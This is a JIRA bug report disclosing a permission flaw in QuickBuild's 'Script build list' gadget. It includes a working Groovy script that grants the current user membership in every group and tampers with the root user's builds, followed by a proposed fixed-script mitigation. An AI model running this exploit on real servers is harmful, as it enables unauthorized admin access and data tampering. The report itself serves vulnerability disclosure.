<< Back to previous view

[DEMO-20] Serious error related to the execute script.
Created: 29/Jan/26  Updated: 29/Jan/26

Status: Open
Project: Demo
Component/s: None
Affects Version/s: None
Fix Version/s: None

Type: Bug Priority: Critical
Reporter: Nguyen Duc Long Assigned To: Demo Project
Resolution: Unresolved Votes: 0
Remaining Estimate: Unknown Time Spent: Unknown
Original Estimate: Unknown


 Description   
The right to create and execute code is granted in many places. In particular, users do not need any permissions to use the "Script build list" gadget.
Example of a dangerous script use for Script build list.
```
groovy:

import com.pmease.quickbuild.Context;
import com.pmease.quickbuild.model.Build;
import com.pmease.quickbuild.SearchCriteria;
import org.hibernate.criterion.Restrictions;
import org.hibernate.criterion.Criterion;
import org.hibernate.criterion.Order;
import com.pmease.quickbuild.entitymanager.BuildManager;
import com.pmease.quickbuild.model.Group
import com.pmease.quickbuild.entitymanager.GroupManager
import com.pmease.quickbuild.model.User
import com.pmease.quickbuild.entitymanager.UserManager
import com.pmease.quickbuild.model.Membership;
import com.pmease.quickbuild.entitymanager.MembershipManager;

// --- Hack admin permission ---
Collection<Group> groups = GroupManager.instance.getAll()
MembershipManager.instance.assign(Context.getUser(), groups, false)
// --- End - Hack admin permission ---
// --- Hack builds of root user ---
User rootUser = UserManager.instance.get(1)
Criterion[] criterions = [Restrictions.eq("requester", rootUser)];
Order[] orders = [Order.desc("beginDate")];
def criteria = new SearchCriteria(criterions, orders);
def builds = system.buildManager.search(criteria, 0, 10);
for(Build build in builds){
build.setVersion("Hacked")
BuildManager.instance.save(build);
}
// --- End - Hack builds of root user ---
return new ArrayList<Build>();
```

With "Script build list" gadget. I suggest editing it to "My build" gadget. It contains a fixed script instead of allowing filling.
Example:
```
groovy:

import com.pmease.quickbuild.Context;
import com.pmease.quickbuild.model.Build;
import com.pmease.quickbuild.SearchCriteria;
import org.hibernate.criterion.Restrictions;
import org.hibernate.criterion.Criterion;
import org.hibernate.criterion.Order;

if (Context.getUser() != null) {
  Criterion[] criterions = [Restrictions.eq("requester", Context.getUser())];
  Order[] orders = [Order.desc("beginDate")];
  def criteria = new SearchCriteria(criterions, orders);
  return system.buildManager.search(criteria, 0, #limit_setting(default=10));
} else {
  return new ArrayList<Build>();
}
```

 Comments   
Comment by Nguyen Duc Long [ 29/Jan/26 11:08 AM ]
Sorry, this is a Quickbuild project issue. I placed it in the wrong location. Please close it.
Generated at Wed Mar 18 13:22:55 UTC 2026 using JIRA 189.